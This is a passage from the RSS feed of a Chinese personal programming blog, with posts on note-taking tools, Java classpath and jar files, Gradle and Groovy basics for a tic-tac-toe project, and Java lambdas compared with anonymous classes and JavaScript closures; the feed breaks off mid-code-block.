&lt;p&gt;都 1202 年了，是时候动动手指，敲敲键盘，写点笔记了吧。&lt;/p&gt;
&lt;h2&gt;信息爆炸&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;21 世纪是信息的世纪&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在这个时代，我们每时每刻都会被各种各样的信息所充斥。我们无限制地享受信息带来的东西。&lt;/p&gt;
&lt;p&gt;我们可以灵活利用信息，在信息海洋中遨游，从而成为信息的使用者；也可以不加节制地浏览信息，被信息洋流带着走，从而成为信息的奴隶。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;计算机类专业学生要学会记录&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;计算机类专业的知识，底层更新慢，但是应用层更新速度飞快，因此要学会对现有信息的有效的整理和记录。因此，作为计算机类专业的学生，不仅要打稳底层基础，还要学会应对更新飞快的顶层知识迭代。&lt;/p&gt;
&lt;p&gt;而对于信息的记录，我最近摸索到了可能适合我自己的一套记录方法。因此，我打算分享一下用到的工具和一些方法，细的方法我就没有说了（因为我太菜了&lt;/p&gt;
&lt;h2&gt;工具们&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;能让自己的生产力提高的工具，就是好工具&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在此列出我最近打笔记用到的应用和工具&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hexo blog&lt;/td&gt;
&lt;td&gt;写博客&lt;/td&gt;
&lt;td&gt;本地写 后部署&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vuepress&lt;/td&gt;
&lt;td&gt;专业笔记&lt;/td&gt;
&lt;td&gt;本地写 后部署&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Markdown file only&lt;/td&gt;
&lt;td&gt;写日记&lt;/td&gt;
&lt;td&gt;本地写 云端备份&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Notion&lt;/td&gt;
&lt;td&gt;除上面外的内容&lt;/td&gt;
&lt;td&gt;必须要联网&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hexo 和 vuepress 都是&lt;strong&gt;static page generator&lt;/strong&gt;(静态页面生成器)，&lt;/li&gt;
&lt;li&gt;notion 是一个啥都能记的&lt;strong&gt;平台&lt;/strong&gt;(我觉得超出工具的范畴了)。syntax 很像 Markdown 的（但不完全是 Markdown），并且在此之上，拥有富文本编辑的功能。&lt;/li&gt;
&lt;li&gt;Markdown file 就是 Markdown file...没啥好说的&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;分工合作&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;柴多火焰高，人多办法好&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q: 其实理论上光一个 Notion 就能解决掉我所有的笔记记录问题了，那为什么我还是分开了四部分来做信息记录呢？&lt;/p&gt;
&lt;p&gt;A: 主要还是因为事情不同，就会有不同的需求，在不同的需求下，就会使用到不同的工具。&lt;/p&gt;
&lt;h3&gt;全文与分享&lt;/h3&gt;
&lt;p&gt;当我我想写一篇完整的文章或者想分享点经验&lt;s&gt;或干货&lt;/s&gt;。我就会先在 Notion 或者随便一张纸上进行头脑风暴，打好草稿。然后输出为 md 文件，细微修改后，给 hexo 渲染，最后 deploy 到博客上。&lt;/p&gt;
&lt;h3&gt;私人地带&lt;/h3&gt;
&lt;p&gt;我想记录一些私人的东西，比如说日记，这些东西最好还是本地保存或者用 OneDrive Personal Vault 保存，并定时同步到 GitHub private repository 上，进行备份。&lt;/p&gt;
&lt;p&gt;这时候编辑工具只用到了 vscode，备份工具就是 OneDrive 和 GitHub 了。&lt;/p&gt;
&lt;h3&gt;专业相关&lt;/h3&gt;
&lt;p&gt;打一些专业(&lt;strong&gt;计算机类&lt;/strong&gt;)相关的笔记，这一类的笔记不会有太多的富文本需求。平时文章弄到的，有许许多多的 code blocks，还有为数不多的图片，剩下的就是 text 了。&lt;/p&gt;
&lt;p&gt;并且要求 md 文件不被修改或修改很少的内容，就可以用其他的生成器来渲染。文章数据易于备份。&lt;/p&gt;
&lt;p&gt;总之就是控制权在自己手上，文件细节尽在自己的把握之下。&lt;/p&gt;
&lt;p&gt;记些啥呢？我认为呢，&lt;strong&gt;学科基础&lt;/strong&gt;和&lt;strong&gt;常用&lt;/strong&gt;编程语言当然是要好好学好好总结好好记，但是应用层的&lt;strong&gt;框架和工具&lt;/strong&gt;就只记录精粹、本质、常用操作和遇到的坑了。&lt;/p&gt;
&lt;h3&gt;其他内容&lt;/h3&gt;
&lt;p&gt;剩下的比如说：workflow 工作流跟踪，一些突如其来的想法，一些草稿，快速做点笔记，非专业相关的笔记，看到的好东西，书签，任务列表等等等等的杂七杂八东西。这个时候我就使用 Notion 了。&lt;/p&gt;
&lt;p&gt;这玩意啥都能记录，啥样式都能用，因此可以尽情记录各种各样的内容。&lt;/p&gt;
&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;这些就是我平时用的笔记工具了，没有看到用笔的 app，这是因为我 poor，买不起 iPad 或者 Surface&lt;/p&gt;
&lt;p&gt;那么最后在这里放一点有关的链接吧&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://vuepress.vuejs.org/&quot;&gt;Vuepress 官网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.situ2001.com/contents/43abca4995a8/&quot;&gt;我写的 Hexo 博客搭建教程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.notion.so/&quot;&gt;Notion 官网&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果你没有写笔记的习惯，不妨现在随便挑一种方法去尝试尝试？相信我，这个习惯将会让你受益终生。&lt;/p&gt;
&lt;p&gt;因为写笔记的过程，是一次输出的过程。相当于是你把你的所看的信息给记录，给归纳总结了，等于是一次自我温习的过程。&lt;/p&gt;
&lt;p&gt;这么说吧，我这个学期一些专业知识的提高，很大程度是因为频繁的笔记记录与博客输出。&lt;/p&gt;
</content:encoded><category>分享</category></item><item><title>classpath和jar</title><link>https://situ2001.com/blog/java/classpath-and-jar/</link><guid isPermaLink="true">https://situ2001.com/blog/java/classpath-and-jar/</guid><description>classpath和jar</description><pubDate>Sun, 28 Feb 2021 10:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;学Java，怎能不知道classpath和jar呢？&lt;/p&gt;
&lt;h2&gt;classpath&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;classpath&lt;/code&gt;，顾名思义就是class path，即class的路径。网上一搜，很多文章都是关于java在windows下的环境变量配置的，但我觉得不应该在环境变量里头设置classpath。为什么呢？请看我胡乱分析&lt;/p&gt;
&lt;p&gt;只需要知道，classpath其实是JVM用到的一个环境变量，&lt;strong&gt;是给JVM来寻找class用的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;指定classpath的方法可以是给&lt;code&gt;java&lt;/code&gt;传入&lt;code&gt;-cp&lt;/code&gt;或者&lt;code&gt;-classpath&lt;/code&gt;，默认的话就是&lt;code&gt;.&lt;/code&gt;即当前目录。&lt;/p&gt;
&lt;p&gt;比如说，我在&lt;code&gt;C:\Users\situ\foo\bar&lt;/code&gt;里头有一个&lt;code&gt;Hello.class&lt;/code&gt;，如果此时JVM要加载一个&lt;code&gt;foo.bar.Hello&lt;/code&gt;类。而我们指定的classpath为&lt;code&gt;.;C:\Users\situ&lt;/code&gt;，命令如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -cp .;C:\Users\situ foo.bar.Hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么就会这样按着classpath去找class&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;current dir&amp;gt;\foo\bar\Hello.class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;C:\Users\situ\foo\bar\Hello.class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那这些都是用户自己的class，java自带的类呢？...不需要操心的，JVM自己知道的。&lt;/p&gt;
&lt;h2&gt;一个疑问&lt;/h2&gt;
&lt;p&gt;摘自我的笔记 -- Situ Note&lt;/p&gt;
&lt;p&gt;Q: 为什么&lt;code&gt;javafx.scene.image.Image&lt;/code&gt;的relative url是相对于classpath的，而&lt;code&gt;java.io.File&lt;/code&gt;的path url不是？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Java IO API relies on the local disk file system, not on the classpath.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Java.io&lt;/code&gt;的相对路径是根据此时的working directory来决定的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;package test;
import java.io.File;
public class Test {
    public static void main(String[] args) {
        // Don&apos;t fiddle with relative paths in java.io.File. 
        // They are dependent on the current working directory over which you have totally no control from inside the Java code.
        File file = new File(&quot;./test.dat&quot;);
        System.out.println(file.getAbsolutePath());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如这样，的确是根据工作目录来的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\situ\codes&amp;gt;java -cp C:\Users\situ\codes\experiment\out\production\experiment test.Test
C:\Users\situ\codes\test.dat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而之前使用JavaFX，要读图只能放在classpath下。之前搞不懂，是因为我不知道classpath到底是个什么鬼，而现在我懂了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// The image is located in my.res package of the classpath
Image image2 = new Image(&quot;my/res/flower.png&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果classpath是&lt;code&gt;C:\Users\situ\codes\experiment\out\production\experiment&lt;/code&gt;那么这个图片的绝对路径就是&lt;code&gt;C:\Users\situ\codes\experiment\out\production\experiment\my\res\flower.png&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;jar&lt;/h2&gt;
&lt;p&gt;其实jar实质上就是一个压缩文件...就拿我的丢人井字棋client来说说吧（这个jar包是用gradle构建的）。先把这个jar解了，看下目录结构。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\situ\github\SimpleTicTacToeGame\client\build\libs\client-1.0-SNAPSHOT&amp;gt;tree /F
Folder PATH listing for volume OS
Volume serial number is 3C20-9E7B
C:.
│  Client$Cell.class
│  Client$O.class
│  Client$X.class
│  Client.class
│
├─META-INF
│      MANIFEST.MF
│
└─res
    Constants.class
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出，除了编译好的class，这些class要按照package的路径来放，比如&lt;code&gt;res.Constants&lt;/code&gt;就要按规矩放，放为&lt;code&gt;res\Constants.class&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这个jar里面还有一个&lt;code&gt;MANIFAST.MF&lt;/code&gt;，打开一开，发现里面标明了Main-Class&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Manifest-Version: 1.0
Main-Class: Client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;怎么运行这个jar呢？很简单只需要输入这个命令就行了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\situ\github\SimpleTicTacToeGame\client\build\libs&amp;gt;java -jar client-1.0-SNAPSHOT.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我觉得这个可以不用了解太多，可以运行，知道本质就行了。剩下的东西当然是靠构建工具啊（&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>项目小总结之简易井字棋</title><link>https://situ2001.com/blog/notes/simple-tic-tac-toe/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/simple-tic-tac-toe/</guid><description>项目小总结之简易井字棋</description><pubDate>Sat, 27 Feb 2021 07:14:16 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(个人笔记) 就算是玩具项目，做完也会有不少收获——主要是对 gradle 和 groovy 的初步认识&lt;/p&gt;
&lt;p&gt;这次学到了包管理工具和 jar 相关，还有一门脚本语言 Groovy。&lt;/p&gt;
&lt;p&gt;包管理工具常见的有 maven 和 gradle，我选择了后者。&lt;/p&gt;
&lt;p&gt;我们知道，依赖多并复杂起来的时候，谁都想要一个可以帮忙自动处理 dependency 的工具。于是我就尝试使用一下 gradle。&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;还是日常将文档页面放在这里: &lt;a href=&quot;https://docs.gradle.org/current/userguide/userguide.html&quot;&gt;gradle doc&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;一瞥&lt;/h2&gt;
&lt;p&gt;这次没有先去看文档，而是先用 IDEA 新建了一个 gradle project，可以看出多了许多东西。&lt;/p&gt;
&lt;p&gt;目录结果可能如下（&lt;strong&gt;摘自官方&lt;/strong&gt;）。不过 IDEA 中，默认 gradle 生成的，其中除了&lt;code&gt;build.gradle&lt;/code&gt;，都在 app 文件夹外面。（应该是因为 IDEA 创建的为单项目，没有包含子项目的原因吧）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;├── gradle
│   └── wrapper
│       ├── gradle-wrapper.jar
│       └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── settings.gradle
└── app
    ├── build.gradle
    └── src
        ├── main
        │   └── java
        │       └── demo
        │           └── App.java
        └── test
            └── java
                └── demo
                    └── AppTest.java
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如&lt;code&gt;setting.gradle&lt;/code&gt;和&lt;code&gt;build.gradle&lt;/code&gt;（用 IDEA 的 wizard 新建的）&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;setting.gradle&lt;/code&gt;项目的设置，里面包含着子项目和 build 的一些 definition。而&lt;code&gt;build.gradle&lt;/code&gt;就是特定的一个项目或者子项目的 build script。它们都是用的 groovy 语言或者 kotlin（这里我选择的是 groovy）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//setting.gradle
rootProject.name = &apos;gradletest&apos;

//build.gradle
plugins {
    id &apos;java&apos;
}

group &apos;org.example&apos;
version &apos;1.0-SNAPSHOT&apos;

repositories {
    mavenCentral()
}

dependencies {
    testImplementation &apos;org.junit.jupiter:junit-jupiter-api:5.6.0&apos;
    testRuntimeOnly &apos;org.junit.jupiter:junit-jupiter-engine&apos;
}

test {
    useJUnitPlatform()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从上面可以看出，除此之外。他生成了一些文件和文件夹，&lt;code&gt;gradle/wrapper&lt;/code&gt;里头装着&lt;code&gt;gradle wrapper&lt;/code&gt;，然后就还有 wrapper 的启动脚本。&lt;/p&gt;
&lt;p&gt;关于这个 wrapper，他虽然很小，但是它可以调用来下载对应的 gradle 版本，帮你快速构建，免去手动下载安装 gradle 的麻烦。&lt;/p&gt;
&lt;p&gt;这个 wrapper 执行的步骤大概是：先下载 dist 到本地，然后解压，最后使用这个 dist 来构建这个项目。的确有点意思&lt;/p&gt;
&lt;h2&gt;我的项目&lt;/h2&gt;
&lt;p&gt;这次实践的就是一个简单的井字棋了，大致原理也不是很难，所以就不多多解释了。这次的目的主要是：一些工具的学习与使用。&lt;/p&gt;
&lt;p&gt;先搁出这个练手小项目的 github repo 吧: &lt;a href=&quot;https://github.com/situ2001/SimpleTicTacToeGame&quot;&gt;SimpleTicTacToeGame&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;从大致的目录结构中可以看出，里面有两个子项目:&lt;code&gt;client&lt;/code&gt;和&lt;code&gt;server&lt;/code&gt;，顾名思义，就是对应着客户端和服务端。&lt;code&gt;setting.gradle&lt;/code&gt;搁在 root 下，而&lt;code&gt;build.gradle&lt;/code&gt;搁在每个子项目文件夹里头，这符合了官方对这两个文件的解释。&lt;/p&gt;
&lt;p&gt;里面用到的东西不是很多，我用 gradle 来管理自己的项目的最初想法，也就是想隔离开来方便管理而已，后来才想起用它来构建 jar。但是 dependencies 这个就没有碰过了。&lt;/p&gt;
&lt;p&gt;这次我就用到了这些东西&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将 server 和 client 隔开来&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要实现这个，我就需要用到子项目这个操作了，看了看官方对它的说明，我开始按葫芦画瓢。新建了文件夹&lt;code&gt;server&lt;/code&gt;和&lt;code&gt;client&lt;/code&gt;，然后每个下面放好&lt;code&gt;build.gradle&lt;/code&gt;和文件夹&lt;code&gt;src&lt;/code&gt;。最后，项目根目录下的&lt;code&gt;setting.gradle&lt;/code&gt;如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rootProject.name = &apos;SimpleTicTacToeGame&apos;
include &apos;server&apos;, &apos;client&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;构建 jar 包&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;既然有 wrapper 了，官网查询一下命令。然后在命令行里头输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./gradlew jar # for the whole project
#or
./gradlew client:jar # jar task for sub project client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就能在在 build 文件夹里头找到 jar 了，通过上述操作，命令大概也就是 &lt;code&gt;./gradlew &amp;lt;subproject&amp;gt;:&amp;lt;task&amp;gt;&lt;/code&gt; 或者 &lt;code&gt;./gradlew &amp;lt;task&amp;gt;&lt;/code&gt;吧&lt;/p&gt;
&lt;h2&gt;Groovy 语言&lt;/h2&gt;
&lt;p&gt;这也是一个跑在 JVM 上面的语言，还是一种&lt;strong&gt;脚本语言&lt;/strong&gt;，&lt;strong&gt;动态语言&lt;/strong&gt;...为什么要了解一下这个呢？因为 gradle 里面的 script 都用着 groovy 或者 kotlin 的 DSL(Domain-Specific Language)啊。不知道一些基础的话，写起来就奇奇怪怪的。&lt;/p&gt;
&lt;p&gt;不过由于是 DSL，那么就不用完全了解过一遍这个语言，事实上有 java 的基础，迁移学习 groovy 是非常容易的，并且官方也给出了&lt;a href=&quot;https://groovy-lang.org/differences.html&quot;&gt;Groovy 与 Java 的差别&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;通过阅读，我大概发现了，要在 gradle 的配置文件里写，几点东西需要看看：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;默认 import 了一些常用包，比如&lt;code&gt;java.lang.*&lt;/code&gt;也就是说可以不用&lt;code&gt;System.out.print&lt;/code&gt;而是&lt;code&gt;print&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;初始化数组，对比一下，groovy 用的&lt;code&gt;[]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;//java
int[] a = {114, 514}; // or new int[]{114, 514}
//groovy
int[] a = [114, 514] //有py内味
List b = [1919, &apos;810&apos;] // powerful
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;跟 Java 中的 Lambda 比较，这边叫做闭包 Closure 了，主要是 &lt;code&gt;() -&amp;gt;&lt;/code&gt;变成了&lt;code&gt;{ }&lt;/code&gt;，inner class 和 anonymous inner class 的写法跟 java 也差不多，但是...真香?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The implementation of anonymous inner classes and nested classes follow Java closely, but there are some differences, e.g. local variables accessed from within such classes don’t have to be final.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Runnable run = () -&amp;gt; System.out.println(&quot;Run&quot;);  // Java
list.forEach(System.out::println);

Runnable run = { println &apos;run&apos; } //Groovy
list.each { println it } // or list.each(this.&amp;amp;println)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;自 Java7 开始出现的 ARM 也变了写法&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;//本来是 try(Scanner in = ...) {} 的
//But in Groovy
new File(&apos;/path/to/file&apos;).eachLine(&apos;UTF-8&apos;) {
   println it
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;==&lt;/code&gt; 变成&lt;code&gt;equals()&lt;/code&gt;了（&lt;/li&gt;
&lt;li&gt;一些可能用到的新 keyword&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;it //in closure
def // def i = 1919810
var // var i = 1919810 (from Java)
in // (Python
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;pass 参数的时候，可以不需要带符号&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;print &apos;114514&apos;
new Thread().start { /** closure */ }
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;多方法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;groovy 动态，要运行的方法都是在运行时选择的，而不是像 Java 那样由 declared type 决定&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int method(String arg) {
    return 1;
}
int method(Object arg) {
    return 2;
}
Object o = &quot;Object&quot;;
int result = method(o);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;java 运行就是&lt;code&gt;2&lt;/code&gt;，Groovy 就是&lt;code&gt;1&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;字符串&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;就像这样，&lt;code&gt;&apos;i=${i}&apos;&lt;/code&gt;，接触多了 js 应该不陌生&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;class 为一等公民&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;即 Class 可以忽略&lt;code&gt;.class&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;with 操作对象&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用&lt;code&gt;with&lt;/code&gt;，可以批量对一个对象进行操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Test test = new Test()
test.with {
  ds = 114514
  sq = 1919810
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;判断非 null&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;print obj?.id?.number
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;范围&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;114..514 // 114(inclusive) to 514(inclusive)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;switch&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不仅可以是数字，字符，Enumerate，还可以是其他&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;switch (test) {
  case Integer:
  case [1, 14514, &apos;dssq&apos;]:
  case { it &amp;gt; 891 }:
  case 114..514:
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;继续学习&lt;/h2&gt;
&lt;p&gt;初步入手了这几个东西，现在或以后想要用的时候，就要去 gradle 的文档里头查 api 用了。（据说难度跟 CMake 一样，害怕&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>λ在Java</title><link>https://situ2001.com/blog/java/lambda-in-java/</link><guid isPermaLink="true">https://situ2001.com/blog/java/lambda-in-java/</guid><description>Lambda在Java</description><pubDate>Mon, 22 Feb 2021 05:14:15 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我之前一直以为Java里头的Lambda表达式就是SAM的语法糖...&lt;/p&gt;
&lt;h2&gt;萌新认知&lt;/h2&gt;
&lt;p&gt;说起Lambda表达式这个东西啊，我之前是在梁勇的教材里面的anonymous inner class部分看到的。书上是用JavaFX来举例的，那我换个简单的例子，我们知道new一个Thread，可以这样。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Thread(new Runnable() {
    @Override
    public void run() {
        /** your code here */
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用了Lambda表达式之后就变成了这个样了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Thread(() -&amp;gt; { /** your code here */ });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么可以这样？我们可以来看看Runnable这个interface里面有啥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@FunctionalInterface
public interface Runnable {
    public abstract void run();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由上看出，这个interface里面只有一个Abstract method，在jdk1.8之后，实现一个方法的接口（Single Abstract Method即是SAM）可以用Lambda表达式来代替。这种接口上一般会有一个annotation &lt;code&gt;@FunctionalInterface&lt;/code&gt;来indicate这是一个函数式接口。&lt;/p&gt;
&lt;p&gt;如果有一个FunctionalInterface的方法是&lt;code&gt;String dosth(String s)&lt;/code&gt;，那么Lambda表达式也可以这样子，param是自己推断，可以不加类型声明&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s -&amp;gt; /** return a String */
(s) -&amp;gt; /** return a String */
(String s) -&amp;gt; /** return a String */

s -&amp;gt; {/** do sth */ return xxx;}
// the same
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述这是我之前对Lambda表达式的认知：&lt;strong&gt;简 短&lt;/strong&gt;，仅此而已。&lt;/p&gt;
&lt;h2&gt;刷新认知&lt;/h2&gt;
&lt;p&gt;直到我学会了JavaScript...&lt;/p&gt;
&lt;p&gt;我认为，java中匿名类和Lambda表达式的关系就像是js中Function和Arrow Function的关系。&lt;/p&gt;
&lt;p&gt;在js里头，箭头函数和普通函数的区别一般是前者没有了&lt;strong&gt;属于自己&lt;/strong&gt;的&lt;code&gt;this&lt;/code&gt;（来自lexical scope）和&lt;code&gt;arguments&lt;/code&gt;，这意味着将箭头函数作为constructor和实现长度可变参数是不可能的了。使用&lt;code&gt;bind&lt;/code&gt; &lt;code&gt;call&lt;/code&gt;和&lt;code&gt;bind&lt;/code&gt;是不合适的，因为建立起来的scope还是来自lexical scope。所以下面这个例子，在nodejs下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = { num: 114514 };
this.num = 1919810;
var test = (x) =&amp;gt; this.num + x;
console.log(test.apply(obj, [1])); //result 1919811
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那java中的Lambda表达式也是这样子的吗？我做了一个小实验。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package test;

public class Test {
    public Test() {
        System.out.println(this.getClass().getTypeName());
        new Thread(() -&amp;gt; System.out.println(&quot;Lambda: &quot;+ this.getClass().getTypeName())).start();
        new Thread(new Runnable() {
            @Override
            public void run() {
                System.out.println(&quot;Anonymous inner class: &quot; + this.getClass().getTypeName());
            }
        }).start();
    }

    public static void main(String[] args) {
        new Test();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;test.Test
Lambda: test.Test
Anonymous inner class: test.Test$1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么可以说是，Lambda表达式自己capture了外层的&lt;code&gt;this&lt;/code&gt;了。&lt;/p&gt;
&lt;p&gt;js中，有个叫做closure（闭包）的特性，就是说js的函数可以根据context来捕获外部的全局变量来与之组成闭包，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var myObject = function () {
    var value = 0;

    return {
        increment: function (inc) {
            value += typeof inc === &apos;number&apos; ? inc : 1;
        },
        getValue: function () {
            return value;
        }
    };
}();
myObject.increment(114514);
console.log(myObject.getValue()); // 114515
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这个，&lt;code&gt;value&lt;/code&gt;与return语句中的对象（这里就是myObject)形成了闭包，出了这个函数之后，value依旧可以被&lt;code&gt;myObject&lt;/code&gt;中的两个方法所访问。&lt;/p&gt;
&lt;p&gt;那么java中的Lambda或者匿名内部类也能这样吗？（草）我们先来看一段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static void dosth() {
  int value = 0;
  IntStream.range(0, 114514).forEach(i -&amp;gt; value += i);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你在Lambda或匿名内部类中做这种事情，就会收到编译器给你的错误&lt;code&gt;Variable used in lambda expression should be final or effectively final&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这是为什么呢？我之前百思不得其解，没知道根本原因，导致用匿名类的时候总是蹩手蹩脚着试探着用。直到我看到了反编译了这段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Test {
    public static void main(String[] args) {
        int i = 0;
        IntStream.range(0, 114514).forEach(new IntConsumer() {
            @Override
            public void accept(int value) {
                System.out.println(i);
            }
        });
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;的&lt;code&gt;Test$1.class&lt;/code&gt;后...得到如下结果...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Test$1 implements IntConsumer {
    Test$1(int var1) {
